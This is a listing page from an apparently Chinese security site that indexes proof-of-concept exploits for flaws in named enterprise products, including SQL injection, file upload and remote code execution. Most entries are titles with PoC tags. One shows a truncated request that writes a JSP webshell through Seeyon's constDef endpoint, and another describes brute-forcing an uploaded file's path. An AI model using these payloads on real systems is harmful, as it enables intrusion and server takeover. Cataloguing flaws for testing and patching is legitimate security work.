POC 第10页
【通用】JieLink+智能终端操作平台 DeleteIpPool sqli_秃兔安全

【通用】JieLink+智能终端操作平台 DeleteIpPool sqli

fofa语句yakit插件 uuidpocyaml已验证   
dreamer292的头像_秃兔安全至尊玉兔dreamer2929个月前
08214
F-logic DataCube3存在命令执行漏洞(CVE-2024-7066)_秃兔安全
赛蓝企业管理系统ReadTxtLog存在任意文件读取漏洞_秃兔安全
方天云智慧平台系统 GetCompanyItem SQL注入漏洞_秃兔安全
【通用】安恒安全网关 net_dynamic_pop_adv_submit 文件上传漏洞_秃兔安全

【通用】安恒安全网关 net_dynamic_pop_adv_submit 文件上传漏洞

fofayakit插件 uuidpocyaml注:文件会以时间戳md5的方式存储在/adv/image/md5(时间戳).php,所以前面只能验证是否存在可以上传的点具体上传成功的数据包需要爆破一把梭脚本已验证    
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
015614
H3C Magic B1STV100R012 RCE_秃兔安全
【通用】 NetMizer 日志管理系统dologin存在SQL注入漏洞_秃兔安全
金和OA_uploadfileeditorsave接口存在任意文件上传漏洞_秃兔安全
【通用】金和OA C6-IncentivePlanFulfillAppprove sql注入漏洞_秃兔安全

【通用】金和OA C6-IncentivePlanFulfillAppprove sql注入漏洞

fofayakit插件 uuidpocyaml已验证   
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
017413
致远在野constDef接囗存在代码执行漏洞_秃兔安全

致远在野constDef接囗存在代码执行漏洞

GET /seeyon/constDefdo?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22P...
秃兔的头像_秃兔安全至尊玉兔秃兔2年前
011713